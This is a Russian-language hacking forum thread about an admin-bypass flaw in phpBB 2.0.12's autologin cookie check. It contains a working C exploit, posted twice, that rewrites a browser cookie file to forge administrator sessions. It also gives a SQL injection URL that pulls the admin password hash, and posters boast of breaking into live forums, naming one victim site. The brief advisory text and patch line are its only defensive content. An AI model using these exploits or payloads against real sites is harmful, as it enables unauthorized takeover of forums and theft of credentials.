Просмотр полной версии : Phpbb 2.0.12
Уязвимость в PhpBB позволяет удаленному пользователю обойти некоторые ограничения безопасности и получить административные привилегии на форуме.
Уязвимость связана с ошибков в сравнении "sessiondata['autologinid']" и "auto_login_key". В результате возможно получить административные привилегии на форуме. Логическая уязвимость обнаружена в сценарии includes/sessions.php в следующей строке:
if( $sessiondata['autologinid'] == $auto_login_key )
Условие выполняется, если длина $sessiondata['autologinid'], представленная в куки пользователя, равна длине переменной $auto_login_key. Для исправления уязвимости ее необходимо заменить на строку:
if( $sessiondata['autologinid'] === $auto_login_key )
Также сообщается об ошибке в "viewtopic.php", которая позволят раскрыть инсталляционный путь.
http://www.securitylab.ru/52986.html
(-=util=-)
01.03.2005, 12:33
блин опередил =\ Добавляю expl
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char** argv[]) {
FILE *pointer;
char contenido[10000],
cookie[91]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0
%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22",
cookief[9]="%22%3B%7D", cookiec[106],
cookie_false[92]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb
%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7 D",
*pos;
int p=0, i=0;
if (argc!=2) {
printf("Usage: phpbb_exploit.exe user_id\n\n");
exit(0);
}
pointer=fopen("cookies.txt", "r");
if (pointer) {
fread(contenido, 300, 10, pointer);
fclose(pointer);
} else {
printf("The file can't be open\n");
exit(0);
}
strcpy(cookiec, cookie);
strncat(cookiec, argv[1], 6);
strcat(cookiec, cookief);
if (pos=strstr(contenido, cookiec)) {
p=pos - contenido;
while (i<92) {
if (cookie_false[i]!=NULL)
contenido[p]=cookie_false[i];
p++;
i++;
}
}
else {
printf("The file cookies.txt isn't valid for execute the
exploit or the user id is incorrect\n");
exit(0);
}
if (pointer=fopen("cookies.txt", "w")) {
fputs(contenido, pointer);
printf("Cookie modified: \n\n%s\n\n", contenido);
printf("The cookies file has overwriten... looks like the exploit has worked");
} else printf("\n\nThe file cookies.txt has not write permissions.");
return 0;
}
OvERMiND
01.03.2005, 13:48
Скажи что изменять в куках ?, в ручную это сделать надежнее
Вроде как эта фишка проходит только на некоторых серверах.
Сейчас буду пробовать...
OvERMiND
01.03.2005, 15:54
блин опередил =\ Добавляю expl
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char** argv[]) {
FILE *pointer;
char contenido[10000],
cookie[91]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0
%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22",
cookief[9]="%22%3B%7D", cookiec[106],
cookie_false[92]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb
%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7 D",
*pos;
int p=0, i=0;
if (argc!=2) {
printf("Usage: phpbb_exploit.exe user_id\n\n");
exit(0);
}
pointer=fopen("cookies.txt", "r");
if (pointer) {
fread(contenido, 300, 10, pointer);
fclose(pointer);
} else {
printf("The file can't be open\n");
exit(0);
}
strcpy(cookiec, cookie);
strncat(cookiec, argv[1], 6);
strcat(cookiec, cookief);
if (pos=strstr(contenido, cookiec)) {
p=pos - contenido;
while (i<92) {
if (cookie_false[i]!=NULL)
contenido[p]=cookie_false[i];
p++;
i++;
}
}
else {
printf("The file cookies.txt isn't valid for execute the
exploit or the user id is incorrect\n");
exit(0);
}
if (pointer=fopen("cookies.txt", "w")) {
fputs(contenido, pointer);
printf("Cookie modified: \n\n%s\n\n", contenido);
printf("The cookies file has overwriten... looks like the exploit has worked");
} else printf("\n\nThe file cookies.txt has not write permissions.");
return 0;
}
Спиздил код даже копирайтов не оставил засранец
OvERMiND
01.03.2005, 15:55
Вроде как эта фишка проходит только на некоторых серверах.
Сейчас буду пробовать...
Не от сервера зависит а от форума и браузера, эксплоит вообще под Мозиллу заточен.
В файле cookies.txt в кеше мозиллы эксплоит заменяет строчки.
Чтоб эксплоит сработал нужно залогиниться с выключенной опцией автологин, потом вырубить браузер, запустить сплоит причем файл cookies.txt должен лежать в одной папке с эксплоитом.
Эксплоит делает равными по длине значения параметров
autologin и autologiтkey поэтому собсвтенно всё и происходит
Удачного результат пока ненашёл
То что от версии форума зависит это понятно.
Но также важную роль играет версия PHP, нормально ли она обрабатывает "==", поскольку некоторые сравняют лишь длинну строк, а остальные работают как strcmp().
(-=util=-)
01.03.2005, 16:37
Спиздил код даже копирайтов не оставил засранец
обоср***ся теперь мне :)) попал....
Я буду баги искать... Должны быть. Ещё нет ни одной версии без багов
OvERMiND
02.03.2005, 19:16
обоср***ся теперь мне :)) попал....
Лол :D :D
hEr-Herzov4
03.03.2005, 00:35
Вроде пока работает безотказно, уже побыл админом, и никаких проблем небыло. Как были с "/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND pm.privmsgs_type=-99 UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,username,0 ,0,0,0,0,0,0,0,0,user_password FROM phpbb_users WHERE user_id=2 LIMIT 1/*"
BlackPrince
03.03.2005, 12:02
видео, кстати нормальное. Всё понятно.
Вот только не на всех форумах уязвимость срабатывает, щас над этим работаю, пытаюсь понять почему.
Потомучто надо иногда коечто исправить. А ещё ИНОГДА админы поставили так сказать ОБНОВЛЕНИЕ )) патч ))
У кого были проблемы с SQL injection в phpBB 2.0.6: "/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=..."
Там все просто и ясно...
2BlackPrince:
А у меня вообще видео плохое есть? ;)
tester2005
05.03.2005, 02:35
видео качайте
KEZ, спасибо за видак, закачал посе того как ты сразу его выложил,
Я согласен, сплийт не всегда срабатывает, даже можно сказать поза вчера пыхтел над одним форумом, но никак,
Хотя, некоторые форумы поддались легко.
Да вот чё еще, пацаны, решил попробовать эту багу про сплойтировать на IE через любезный Cookie Editor,
Все твердя что работает тока по Мозилой, да нет, IE тож поддалса:D.
Один из жертв http://druid.ru, на него я залез пользуясь Куки Эдитор чрез IE.
Так шо всё возможно, еси немного по пыхтеть:)
PS: компиленный Си сплойт, для меня ваше не сработал, приходилось лазять в ручную.
У меня тоже C сплойт не работал..))
Вообще проще вручную заменить... А где - в IE или Firefox - это пофигу... Главное куки то одинковые
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot